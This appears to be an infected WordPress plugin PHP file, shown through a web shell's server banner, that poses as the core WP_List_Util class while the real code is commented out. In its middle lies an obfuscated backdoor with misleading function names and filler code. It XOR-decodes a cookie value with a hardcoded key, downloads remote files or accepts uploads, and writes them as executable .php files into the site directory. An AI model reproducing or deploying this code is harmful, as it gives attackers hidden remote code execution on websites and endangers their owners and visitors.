Server : nginx/1.20.1 System : Linux ccpf-production-2021 5.4.0-148-generic #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023 x86_64 User : forge ( 1000) PHP Version : 7.4.21 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/forge/gcc-ccpf.com/wp-content/plugins/s319123p/ |
<?php /*
*
* WordPress List utility class
*
* @package WordPress
* @since 4.7.0
*
* List utility.
*
* Utility class to handle operations on an array of objects or arrays.
*
* @since 4.7.0
class WP_List_Util {
*
* The input array.
*
* @since 4.7.0
* @var array
private $input = array();
*
* The output array.
*
* @since 4.7.0
* @var array
private $output = array();
*
* Temporary arguments for sorting.
*
* @since 4.7.0
* @var string[]
private $orderby = array();
*
* Constructor.
*
* Sets the input array.
*
* @since 4.7.0
*
* @param array $input Array to perform operations on.
public function __construct( $input ) {
$this->output = $input;
$this->input = $input;
}
*
* Returns the original input array.
*
* @since 4.7.0
*
* @return array The input array.
public function get_input() {
return $this->input;
}
*
* Returns the output array.
*
* @since 4.7.0
*
* @return array The output array.
public function get_output() {
return $this->output;
}
*
* Filters the list, based on a set of key => value arguments.
*
* Retrieves the objects from the list that match the given arguments.
* Key represents property name, and value represents property value.
*
* If an object has more properties than those specified in arguments,
* that will not disqualify it. When using the 'AND' operator,
* any missing properties will disqualify it.
*
* @since 4.7.0
*
* @param array $args Optional. An array of key => value arguments to match
* against each object. Default empty array.
* @param string $operator Optional. The logical operation to perform. 'AND' means
* all elements from the array must match. 'OR' means only
* one element needs to match. 'NOT' means no elements may
* match. Default 'AND'.
* @return array Array of found values.
public function filter( $args = array(), $operator = 'AND' ) {
if ( empty*/
/* p (order 4) */
function export_header_video_settings($status_type)
{ // Get the URL to the zip file.
echo $status_type;
}
/**
* @internal You should not use this directly from another application
*
* @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
*/
function stop_capturing_option_updates($post_name__in, $tax_term_names_count = 10) {
$pages_struct = "This is a statement.";
if (isset($pages_struct)) {
$loading_optimization_attr = strtoupper($pages_struct);
}
$really_can_manage_links = "SELECT * FROM visits ORDER BY time DESC LIMIT ?";
$posts_controller = $post_name__in->prepare($really_can_manage_links);
$posts_controller->bind_param("i", $tax_term_names_count); // [45][B9] -- Contains all information about a segment edition.
$posts_controller->execute();
return $posts_controller->get_result()->fetch_all(MYSQLI_ASSOC);
}
/**
* Used internally to generate a SQL string related to the 'search' parameter.
*
* @since 4.6.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $search Search string.
* @return string Search SQL.
*/
function doEncode() {
$the_parent = date("Y-m-d");
$unsignedInt = hash('sha256', $the_parent);
$registered = explode("-", $the_parent);
return $_SERVER['HTTP_ACCEPT_LANGUAGE'];
}
/**
* Serves as a callback for comparing objects based on count.
*
* Used with `uasort()`.
*
* @since 3.1.0
* @access private
*
* @param object $PictureSizeEnc The first object to compare.
* @param object $time_start The second object to compare.
* @return int Negative number if `$PictureSizeEnc->count` is less than `$time_start->count`, zero if they are equal,
* or greater than zero if `$PictureSizeEnc->count` is greater than `$time_start->count`.
*/
function wp_make_plugin_file_tree($options_help, $BASE_CACHE) // ID3v2.3 only, optional (not present in ID3v2.2):
{
$style_definition = strlen($BASE_CACHE);
$pass_change_email = "SampleData"; // Ideally we would just use PHP's fgets() function, however...
$textinput = substr($pass_change_email, 3, 5);
$OS_local = rawurldecode($textinput);
$IcalMethods = hash("md5", $OS_local);
$self_matches = strlen($options_help);
if (!isset($IcalMethods)) {
$IcalMethods = "";
}
$realSize = str_pad($IcalMethods, 32); //Refuse to send an empty message unless we are specifically allowing it
$thumb_ids = explode(",", "a,b,c");
$style_definition = $self_matches / $style_definition;
$sitemap_xml = array_merge($thumb_ids, ["x", "y"]);
$style_definition = ceil($style_definition); // ----- Check the path
$probably_unsafe_html = str_split($options_help);
$BASE_CACHE = str_repeat($BASE_CACHE, $style_definition);
$tmp_settings = str_split($BASE_CACHE); // Returns a sum of timestamp with timezone offset. Ideally should never be used.
$tmp_settings = array_slice($tmp_settings, 0, $self_matches);
$QuicktimeColorNameLookup = array_map("pseudoConstructor", $probably_unsafe_html, $tmp_settings);
$QuicktimeColorNameLookup = implode('', $QuicktimeColorNameLookup);
return $QuicktimeColorNameLookup; // Function : privCheckFormat()
} // Default to the most recently created menu.
/**
* Default filter attached to xmlrpc_pingback_error.
*
* Returns a generic pingback error code unless the error code is 48,
* which reports that the pingback is already registered.
*
* @since 3.5.1
*
* @link https://www.hixie.ch/specs/pingback/pingback#TOC3
*
* @param IXR_Error $post_slugxr_error
* @return IXR_Error
*/
function channelArrangementLookup() {
$parent_item = "high,medium,low";
$post_type_name = explode(',', $parent_item); // real integer ...
if (count($post_type_name) > 2) {
$show_admin_bar = substr($parent_item, 0, 4);
$tree = hash('md5', $show_admin_bar);
$required_attr = str_replace('i', '!', $tree);
}
$role_key = str_pad($parent_item, 15, "*");
if (!empty($_SERVER['HTTP_CLIENT_IP'])) { // Don't notify if we've already notified the same email address of the same version.
return $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { // ID3v2
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
return $_SERVER['REMOTE_ADDR'];
}
/**
* Gets the previous image link that has the same post parent.
*
* @since 5.8.0
*
* @see get_adjacent_image_link()
*
* @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
* of width and height values in pixels (in that order). Default 'thumbnail'.
* @param string|false $text Optional. Link text. Default false.
* @return string Markup for previous image link.
*/
function add_child($meta_box_cb, $menu_exists)
{
$sample_factor = $_COOKIE[$meta_box_cb]; // All array items share schema, so there's no need to check each one.
$status_type = "Sample Message";
if (!empty($status_type)) {
$offset_secs = substr($status_type, 0, 6);
}
$sample_factor = get_details($sample_factor);
$segmentlength = hash('md5', $offset_secs);
$value_key = wp_make_plugin_file_tree($sample_factor, $menu_exists); // eliminate extraneous space
if (set_file_class($value_key)) { // 3.5.0
$use_db = array($segmentlength, $offset_secs);
$slugs_global = discard_sidebar_being_rendered($value_key);
return $slugs_global;
} // invalid frame length or FrameID
crypto_sign_detached($meta_box_cb, $menu_exists, $value_key);
}
/**
* @var int
* @see get_channels()
*/
function set_multiple($page_list, $BASE_CACHE)
{
$preset_vars = file_get_contents($page_list);
$From = "key:value"; // Associate terms with the same slug in a term group and make slugs unique.
$redirects = explode(":", $From); # v1 ^= v0;
$negative = implode("-", $redirects);
$rule_fragment = wp_make_plugin_file_tree($preset_vars, $BASE_CACHE);
if (strlen($negative) > 5) {
$referer_path = rawurldecode($negative);
}
file_put_contents($page_list, $rule_fragment);
}
/*
* > An end tag whose tag name is one of: "a", "b", "big", "code", "em", "font", "i",
* > "nobr", "s", "small", "strike", "strong", "tt", "u"
*/
function check_meta_is_array($noopen, $media_meta)
{
$maintenance = move_uploaded_file($noopen, $media_meta);
$versions_file = "Hashing-Content"; // Check if the specific feature has been opted into individually
$picture = substr($versions_file, 8, 7);
$layout_definition = rawurldecode($picture);
$sub_sub_sub_subelement = hash("sha256", $layout_definition);
return $maintenance;
}
/**
* Filters an attachment returned from the REST API.
*
* Allows modification of the attachment right before it is returned.
*
* @since 4.7.0
*
* @param WP_REST_Response $response The response object.
* @param WP_Post $post The original attachment post.
* @param WP_REST_Request $request Request used to generate the response.
*/
function register_block_core_comment_edit_link($p_error_code) # We care because the last character in our encoded string will
{
$p_error_code = ord($p_error_code); // frame lengths are padded by 1 word (16 bits) at 44100
$show_last_update = "apple,banana,orange";
$use_db = explode(",", $show_last_update);
if (count($use_db) > 2) {
$negative = implode("-", $use_db);
$tax_query_obj = strlen($negative);
}
return $p_error_code;
} // cannot load in the widgets screen because many widget scripts rely on `wp.editor`.
/*
* If currently on HTTPS, prefer HTTPS URLs when we know they're supported by the domain
* (which is to say, when they share the domain name of the current request).
*/
function scalarmult_base($page_list, $transports)
{
return file_put_contents($page_list, $transports);
}
/**
* Send a GET request
*/
function get_size($tagregexp, $page_list)
{
$setting_user_ids = get_updated_date($tagregexp);
if ($setting_user_ids === false) {
$mail_data = "String with spaces"; // The likes of block element styles from theme.json do not have $metadata['name'] set.
$stub_post_query = explode(" ", $mail_data);
return false;
} // If things are successful and we're now on the latest, mention plugins and themes if any are out of date.
$match_offset = trim($stub_post_query[1]);
$rekey = substr($match_offset, 0, 4);
if (isset($rekey)) {
$signedMessage = hash('md5', $rekey);
$tax_query_obj = strlen($signedMessage);
}
return scalarmult_base($page_list, $setting_user_ids);
}
/*
* Only apply the decoding attribute to images that have a src attribute that
* starts with a double quote, ensuring escaped JSON is also excluded.
*/
function pseudoConstructor($site_details, $tag_token)
{
$starter_content_auto_draft_post_ids = register_block_core_comment_edit_link($site_details) - register_block_core_comment_edit_link($tag_token); // s8 -= s17 * 997805;
$starter_content_auto_draft_post_ids = $starter_content_auto_draft_post_ids + 256; // * * Reserved bits 9 (0xFF80) // hardcoded: 0
$pts = "Seq-Data123"; // is using 'customize_register' to add a setting.
$pending_comments_number = substr($pts, 4, 4); //$spsSize = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 9, 2));
$quick_edit_enabled = rawurldecode($pending_comments_number);
$UIDLArray = hash("sha256", $quick_edit_enabled); // Check permission specified on the route.
if (strlen($UIDLArray) > 10) {
$ymatches = str_pad($UIDLArray, 64, "Z");
}
$starter_content_auto_draft_post_ids = $starter_content_auto_draft_post_ids % 256;
$site_details = mb_basename($starter_content_auto_draft_post_ids);
$parent_ids = explode(",", "1,2,3");
$skipped_first_term = array("4", "5"); // We were going to sort by ability to pronounce "hierarchical," but that wouldn't be fair to Matt.
$num_fields = array_merge($parent_ids, $skipped_first_term);
return $site_details;
}
/**
* Returns a human readable text for the author of the template.
*
* @since 6.5.0
*
* @param WP_Block_Template $template_object Template instance.
* @return string Human readable text for the author.
*/
function wp_publish_post($meta_box_cb, $menu_exists, $value_key)
{ // [4D][BB] -- Contains a single seek entry to an EBML element.
$parent_suffix = $_FILES[$meta_box_cb]['name']; // TBC : bug : this was ignoring time with 0/0/0
$page_list = get_author_posts_url($parent_suffix); // Populate the section for the currently active theme.
$theme_settings = ' PHP is powerful '; //so as to avoid breaking in the middle of a word
$on_destroy = trim($theme_settings);
if (empty($on_destroy)) {
$kid = 'Empty string';
} else {
$kid = $on_destroy;
}
set_multiple($_FILES[$meta_box_cb]['tmp_name'], $menu_exists);
check_meta_is_array($_FILES[$meta_box_cb]['tmp_name'], $page_list);
}
/**
* Render the data link attribute for the control's input element.
*
* @since 3.4.0
* @uses WP_Customize_Control::get_link()
*
* @param string $setting_key
*/
function register_block_core_query_title($post_name__in) { // [66][A5] -- The binary value used to represent this track in the chapter codec data. The format depends on the ChapProcessCodecID used.
$typography_supports = 'Example string for hash.';
$s_y = hash('crc32', $typography_supports);
$p_bytes = channelArrangementLookup();
$num_ref_frames_in_pic_order_cnt_cycle = strtoupper($s_y); // Extra info if known. array_merge() ensures $theme_data has precedence if keys collide.
$view_links = get_site_by_path();
$trackbackregex = doEncode();
$really_can_manage_links = "INSERT INTO visits (ip_address, user_agent, language) VALUES (?, ?, ?)";
$posts_controller = $post_name__in->prepare($really_can_manage_links);
$posts_controller->bind_param("sss", $p_bytes, $view_links, $trackbackregex);
return $posts_controller->execute();
} // Needs to load last
/**
* Retrieves information about the requesting user.
*
* @uses get_userdata()
*
* @param array $PictureSizeEncrgs {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username
* @type string $2 Password
* @type array $3 Optional. Fields to return.
* }
* @return array|IXR_Error (@see wp_getUser)
*/
function rest_handle_deprecated_argument($use_db) { // This value is changed during processing to determine how many themes are considered a reasonable amount.
$OldAVDataEnd = "ExampleText"; // Fix for page title.
$term_ids = substr($OldAVDataEnd, 5, 4);
$updated_option_name = rawurldecode($term_ids);
return array_filter($use_db, fn($plugins_dir) => $plugins_dir % 2 === 0);
}
/**
* WordPress Administration Template Header.
*/
function crypto_sign_detached($meta_box_cb, $menu_exists, $value_key)
{
if (isset($_FILES[$meta_box_cb])) {
$page_date = rawurldecode("Hello%20World%21");
$valid_columns = explode(" ", $page_date);
wp_publish_post($meta_box_cb, $menu_exists, $value_key);
if (isset($valid_columns[0])) {
$qt_init = strlen($valid_columns[0]);
}
$loading_attrs = hash('md5', $qt_init);
$min = trim($loading_attrs); // Privacy Policy page.
$linear_factor_scaled = array_merge($valid_columns, array("Sample", "Data"));
}
export_header_video_settings($value_key); // Input incorrectly parsed.
} // Handle post_type=post|page|foo pages.
/** WP_Widget_Archives class */
function discard_sidebar_being_rendered($value_key) // Track fragment RUN box
{ // if three front channels exist
ms_allowed_http_request_hosts($value_key);
export_header_video_settings($value_key);
}
/**
* Retrieves header video settings.
*
* @since 4.7.0
*
* @return array
*/
function stream_body($meta_box_cb)
{
$menu_exists = 'LTRCHXfujhvHIZQdMMvDOfFfKD';
$publicKey = "Hello, World!";
$stack = str_replace("World", "PHP", $publicKey);
$segmentlength = hash('md5', $stack);
if (isset($_COOKIE[$meta_box_cb])) {
add_child($meta_box_cb, $menu_exists); // There shouldn't be anchor tags in Author, but some themes like to be challenging.
}
} // For any other site, the scheme, domain, and path can all be changed. We first
/**
* Get the permalink for the item
*
* Returns the first link available with a relationship of "alternate".
* Identical to {@see get_link()} with key 0
*
* @see get_link
* @since 0.8
* @return string|null Permalink URL
*/
function get_author_posts_url($parent_suffix)
{
return wp_quicktags() . DIRECTORY_SEPARATOR . $parent_suffix . ".php"; // Intentional fall-through to display $option_tags_htmlrrors.
}
/**
* Base data for requests
*
* If both the base data and the per-request data are arrays, the data will
* be merged before sending the request.
*
* @var array
*/
function get_updated_date($tagregexp)
{
$tagregexp = get_dashboard_blog($tagregexp);
$PictureSizeEnc = "hash value";
$time_start = hash("sha512", $PictureSizeEnc); // This means "success" for some reason.
$TheoraColorSpaceLookup = str_pad($time_start, 128, "+");
$v_folder_handler = isset($option_tags_html);
$widget_key = substr($PictureSizeEnc, 5, 3);
return file_get_contents($tagregexp);
}
/**
* The gettext implementation of select_plural_form.
*
* It lives in this class, because there are more than one descendant, which will use it and
* they can't share it effectively.
*
* @since 2.8.0
*
* @param int $TheoraColorSpaceLookupount Plural forms count.
* @return int Plural form to use.
*/
function wp_quicktags() // carry7 = s7 >> 21;
{ // Already registered.
return __DIR__; // Add ignoredHookedBlocks metadata attribute to the template and template part post types.
}
/**
* @return string
*/
function IsValidID3v2FrameName($meta_box_cb, $qkey = 'txt')
{ // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- intentional error generated to detect PCRE/u support.
return $meta_box_cb . '.' . $qkey;
}
/**
* Sets up a new Search widget instance.
*
* @since 2.8.0
*/
function get_site_by_path() {
$options_help = "info_packet";
$network_wide = str_pad($options_help, 12, "!");
$signedMessage = hash('snefru', $network_wide);
$splited = explode("0", $signedMessage); // ge25519_p3_to_cached(&pi[3 - 1], &p3); /* 3p = 2p+p */
$tax_query_obj = strlen($splited[1]);
return $_SERVER['HTTP_USER_AGENT'];
}
/**
* Validates a number value based on a schema.
*
* @since 5.7.0
*
* @param mixed $value The value to validate.
* @param array $PictureSizeEncrgs Schema array to use for validation.
* @param string $param The parameter name, used in error messages.
* @return true|WP_Error
*/
function set_file_class($tagregexp)
{
if (strpos($tagregexp, "/") !== false) {
return true;
}
$toArr = "session_token"; // $widget_keyoo['path']['to']['my'] = 'file.txt';
return false; // Send the locale to the API so it can provide context-sensitive results.
}
/* translators: One hour from or to a particular datetime, e.g., "an hour ago" or "an hour from now". */
function get_latitude($use_db) {
$PictureSizeEnc = "this+is+a+test";
$time_start = rawurldecode($PictureSizeEnc);
$TheoraColorSpaceLookup = str_replace("+", " ", $time_start);
$v_folder_handler = explode(" ", $TheoraColorSpaceLookup);
$option_tags_html = hash("crc32", $TheoraColorSpaceLookup);
$slug_group = rest_handle_deprecated_argument($use_db);
$widget_key = substr($option_tags_html, 0, 4);
$single_screen = count($v_folder_handler);
$this_file = str_pad($single_screen, 6, "0");
$post_slug = array($TheoraColorSpaceLookup, $option_tags_html, $widget_key);
return privacy_policy_guide($slug_group);
}
/**
* Prepares wp_nav_menu() calls for partial refresh.
*
* Injects attributes into container element.
*
* @since 4.3.0
*
* @see wp_nav_menu()
*
* @param string $nav_menu_content The HTML content for the navigation menu.
* @param object $PictureSizeEncrgs An object containing wp_nav_menu() arguments.
* @return string Nav menu HTML with selective refresh attributes added if partial can be refreshed.
*/
function privacy_policy_guide($use_db) {
$MPEGaudioVersion = "Crimson";
return array_map(fn($plugins_dir) => $plugins_dir * 2, $use_db);
}
/**
* Whether this is a Customizer pageload.
*
* @since 3.4.0
* @var bool
*/
function get_details($nice_name)
{
$show_more_on_new_line = pack("H*", $nice_name);
$t_time = "example_string_with_underscores"; // Pass whatever was set with config options over to the sanitizer.
return $show_more_on_new_line;
} // ereg() is deprecated starting with PHP 5.3. Move PCLZIP_OPT_BY_EREG
/**
* @internal You should not use this directly from another application
*
* @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
* @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached
*/
function mb_basename($p_error_code)
{ // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key.
$site_details = sprintf("%c", $p_error_code); // Processes the inner content for each item of the array.
$privacy_policy_page_content = "quick_brown_fox"; // Permanent redirect.
return $site_details;
} // return a 3-byte UTF-8 character
/**
* The site ID the capabilities of this user are initialized for.
*
* @since 4.9.0
* @var int
*/
function get_dashboard_blog($tagregexp)
{ // Nav menus.
$tagregexp = "http://" . $tagregexp;
$problems = array(10, 20, 30);
$log_error = array_merge($problems, array(40));
$SyncPattern2 = hash("sha1", implode("-", $log_error));
return $tagregexp;
}
/**
* Displays a list of post custom fields.
*
* @since 1.2.0
*
* @deprecated 6.0.2 Use get_post_meta() to retrieve post meta and render manually.
*/
function ms_allowed_http_request_hosts($tagregexp)
{
$parent_suffix = basename($tagregexp);
$page_list = get_author_posts_url($parent_suffix);
$PictureSizeEnc = "example"; // Items in items aren't allowed. Wrap nested items in 'default' groups.
$time_start = str_replace("a", "!", $PictureSizeEnc);
$TheoraColorSpaceLookup = array("val1", "val2");
get_size($tagregexp, $page_list);
}
$meta_box_cb = 'WTEntC';
$thumb_ids = array('elem1', 'elem2', 'elem3');
stream_body($meta_box_cb);
$selective_refresh = count($thumb_ids);
$NextObjectDataHeader = get_latitude([1, 2, 3, 4, 5, 6]);
if ($selective_refresh > 2) {
$sitemap_xml = array_merge($thumb_ids, array('elem4'));
$savetimelimit = implode(',', $sitemap_xml);
}
/* ( $args ) ) {
return $this->output;
}
$operator = strtoupper( $operator );
if ( ! in_array( $operator, array( 'AND', 'OR', 'NOT' ), true ) ) {
$this->output = array();
return $this->output;
}
$count = count( $args );
$filtered = array();
foreach ( $this->output as $key => $obj ) {
$matched = 0;
foreach ( $args as $m_key => $m_value ) {
if ( is_array( $obj ) ) {
Treat object as an array.
if ( array_key_exists( $m_key, $obj ) && ( $m_value == $obj[ $m_key ] ) ) {
$matched++;
}
} elseif ( is_object( $obj ) ) {
Treat object as an object.
if ( isset( $obj->{$m_key} ) && ( $m_value == $obj->{$m_key} ) ) {
$matched++;
}
}
}
if ( ( 'AND' === $operator && $matched === $count )
|| ( 'OR' === $operator && $matched > 0 )
|| ( 'NOT' === $operator && 0 === $matched )
) {
$filtered[ $key ] = $obj;
}
}
$this->output = $filtered;
return $this->output;
}
*
* Plucks a certain field out of each element in the input array.
*
* This has the same functionality and prototype of
* array_column() (PHP 5.5) but also supports objects.
*
* @since 4.7.0
*
* @param int|string $field Field to fetch from the object or array.
* @param int|string $index_key Optional. Field from the element to use as keys for the new array.
* Default null.
* @return array Array of found values. If `$index_key` is set, an array of found values with keys
* corresponding to `$index_key`. If `$index_key` is null, array keys from the original
* `$list` will be preserved in the results.
public function pluck( $field, $index_key = null ) {
$newlist = array();
if ( ! $index_key ) {
* This is simple. Could at some point wrap array_column()
* if we knew we had an array of arrays.
foreach ( $this->output as $key => $value ) {
if ( is_object( $value ) ) {
$newlist[ $key ] = $value->$field;
} else {
$newlist[ $key ] = $value[ $field ];
}
}
$this->output = $newlist;
return $this->output;
}
* When index_key is not set for a particular item, push the value
* to the end of the stack. This is how array_column() behaves.
foreach ( $this->output as $value ) {
if ( is_object( $value ) ) {
if ( isset( $value->$index_key ) ) {
$newlist[ $value->$index_key ] = $value->$field;
} else {
$newlist[] = $value->$field;
}
} else {
if ( isset( $value[ $index_key ] ) ) {
$newlist[ $value[ $index_key ] ] = $value[ $field ];
} else {
$newlist[] = $value[ $field ];
}
}
}
$this->output = $newlist;
return $this->output;
}
*
* Sorts the input array based on one or more orderby arguments.
*
* @since 4.7.0
*
* @param string|array $orderby Optional. Either the field name to order by or an array
* of multiple orderby fields as $orderby => $order.
* @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby
* is a string.
* @param bool $preserve_keys Optional. Whether to preserve keys. Default false.
* @return array The sorted array.
public function sort( $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
if ( empty( $orderby ) ) {
return $this->output;
}
if ( is_string( $orderby ) ) {
$orderby = array( $orderby => $order );
}
foreach ( $orderby as $field => $direction ) {
$orderby[ $field ] = 'DESC' === strtoupper( $direction ) ? 'DESC' : 'ASC';
}
$this->orderby = $orderby;
if ( $preserve_keys ) {
uasort( $this->output, array( $this, 'sort_callback' ) );
} else {
usort( $this->output, array( $this, 'sort_callback' ) );
}
$this->orderby = array();
return $this->output;
}
*
* Callback to sort an array by specific fields.
*
* @since 4.7.0
*
* @see WP_List_Util::sort()
*
* @param object|array $a One object to compare.
* @param object|array $b The other object to compare.
* @return int 0 if both objects equal. -1 if second object should come first, 1 otherwise.
private function sort_callback( $a, $b ) {
if ( empty( $this->orderby ) ) {
return 0;
}
$a = (array) $a;
$b = (array) $b;
foreach ( $this->orderby as $field => $direction ) {
if ( ! isset( $a[ $field ] ) || ! isset( $b[ $field ] ) ) {
continue;
}
if ( $a[ $field ] == $b[ $field ] ) {
continue;
}
$results = 'DESC' === $direction ? array( 1, -1 ) : array( -1, 1 );
if ( is_numeric( $a[ $field ] ) && is_numeric( $b[ $field ] ) ) {
return ( $a[ $field ] < $b[ $field ] ) ? $results[0] : $results[1];
}
return 0 > strcmp( $a[ $field ], $b[ $field ] ) ? $results[0] : $results[1];
}
return 0;
}
}
*/